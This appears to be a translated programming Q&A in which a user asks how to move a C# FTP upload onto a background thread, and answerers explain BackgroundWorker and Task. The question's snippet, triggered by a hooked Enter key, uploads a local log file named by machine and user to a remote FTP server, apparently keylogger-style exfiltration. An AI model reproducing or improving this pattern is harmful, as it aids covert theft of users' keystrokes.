2013-05-01 47 views
1

我無法搞清楚如何線程我的FTP上傳腳本。我試圖從C#控制檯應用程序上傳它。我不喜歡它在上傳時凍結應用程序的事實。我聽說過使用「背景工作者」,但我完全不知道如何設置它。我一直在尋找一段時間。你可以給我一個例子嗎?謝謝。線程FTP上傳c#

if ((Keys)vkCode == Keys.Enter) 
{ 
         //~~~ Enter Key pressed ~~~ // 
          string ftpsrc = Application.StartupPath + @"/logs/log.txt"; 
          FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt"); 
            request2.Method = WebRequestMethods.Ftp.UploadFile; 
            request2.Credentials = new NetworkCredential("username", "password"); 
            StreamReader sourceStream2 = new StreamReader(ftpsrc); 
            byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd()); 
            sourceStream2.Close(); 
            request2.ContentLength = fileContents2.Length; 
            Stream requestStream2 = request2.GetRequestStream(); 
            requestStream2.Write(fileContents2, 0, fileContents2.Length); 
            requestStream2.Close(); 
            FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse(); 
            response2.Close(); 


          //~~~ End Enter Key ~~~// 
         } 

回答

3

這樣做是使用像一個BackgroundWorker這將使你在執行訪問像進度事件的事情,以及控制的一個非常簡單的方法。這種方法可以讓你的UI線程完全脫離FTP上傳的邏輯。無論上傳花費多長時間,您的用戶界面的響應度都會很高。

現在多線程的實際上傳是另一回事。如果這就是你需要將信息分解成相等的部分並在FTP端重新組裝的部分,但這也意味着要編寫一個自定義的ftp服務器。

看看這裏是什麼BackgroundWorker的是以及如何使用它的完整解釋: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx

編輯::

確定,所以回答你的問題在有關評論如何設置backgroundworker在輸入鍵上執行。看看上面的文檔,以獲得如何使用背景工作的一般依據。

你會想改變你設置的backgroundworker的RunWorkerAsync()方法你當前的鑰匙鉤。 BackgroundWorker的DoWork方法應該是您當前在關鍵鉤子中所擁有的方法。

BG.DoWork += YourUploadFunction(); 

    if ((Keys)vkCode == Keys.Enter) 
    { 
     //~~~ Enter Key pressed ~~~ // 
     BG.RunWorkerAsync(); 
    } 

要初始化BackgroundWorker做到這一點:

BackgroundWorker BG = new BackgroundWorker(); 
    BG.DoWork += new DoWorkEventHandler(BG_DoWork); 

DoWorkEventHandler允許進行新的處理程序來控制哪些功能/ s的BG就行了。這方面的一個例子是:

private void BG_DoWork(object sender, DoWorkEventArgs e) 
    { 
     YourUploadFunctions(); 
    } 

但是你會想要做的BackgroundWorker的初始化只有一次,這樣你就不會對它有多個實例。同樣,一旦DoWork事件已經建立,它不需要再次完成。 `

+0

我聽說過使用後臺工作器..你能給我一個背景工作的例子,當使用回車鍵時會調用它嗎?例如if((Keys)vkCode == Keys.Enter) {// stuffs} – 2013-05-01 00:44:30

+0

@Chris_Bogausch檢查我的編輯。 – Nomad101 2013-05-01 00:48:42

+0

非常感謝!我正在尋找一個實際的例子。我只是一個試圖學習一些C#的小白。我感謝你幫助我!如果我需要幫助,請聯繫我。 – 2013-05-01 00:56:59

0

BackgroundWorkers將爲此工作很好,另一個選項是Task類。你可以在這裏閱讀Task Class。有一個如何在頁面上實現它的例子。同樣取決於你使用的是什麼版本的.net框架,你也可以看看這裏顯示的異步和等待async await